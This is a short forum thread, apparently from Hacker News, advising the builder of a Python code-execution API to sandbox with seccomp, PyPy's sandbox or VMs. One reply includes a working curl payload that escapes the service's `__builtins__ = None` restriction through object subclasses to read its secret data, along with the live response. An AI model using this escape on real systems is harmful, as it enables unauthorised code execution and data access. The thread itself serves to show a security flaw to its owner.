2 ms·
You can use seccomp for this, which might allow you to build something very safe. Pypy also has a similar mechanism built-in: https://doc.pypy.org/en/latest/san
by remram 5y ago
You can use seccomp for this, which might allow you to build something very safe. Pypy also has a similar mechanism built-in: https://doc.pypy.org/en/latest/sandbox.html https://doc.pypy.org/en/latest/sandbox.html Or you can use virtual machines (you can build/find some that will boot in a few milliseconds)
edit: Your specific protection appears to be `__builtins__ = None` and otherwise run in the same interpreter. It is very naive. Here is an example hack that gets to your "secret data":
$ curl -H Content-Type:application/json -d '{"code": "res = [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == \"catch_warnings\"][0]()._module.__builtins__[\"__import__\"](\"play\").data"}' https://api-run-code.herokuapp.com/execute
{"res":{"a":33}}
(from https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html https://nedbatchelder.com/blog/201206/eval_really_is_dangero... but really you could have googled it)
- nathanganser 5y agoThank you so much for this! That's super helpful!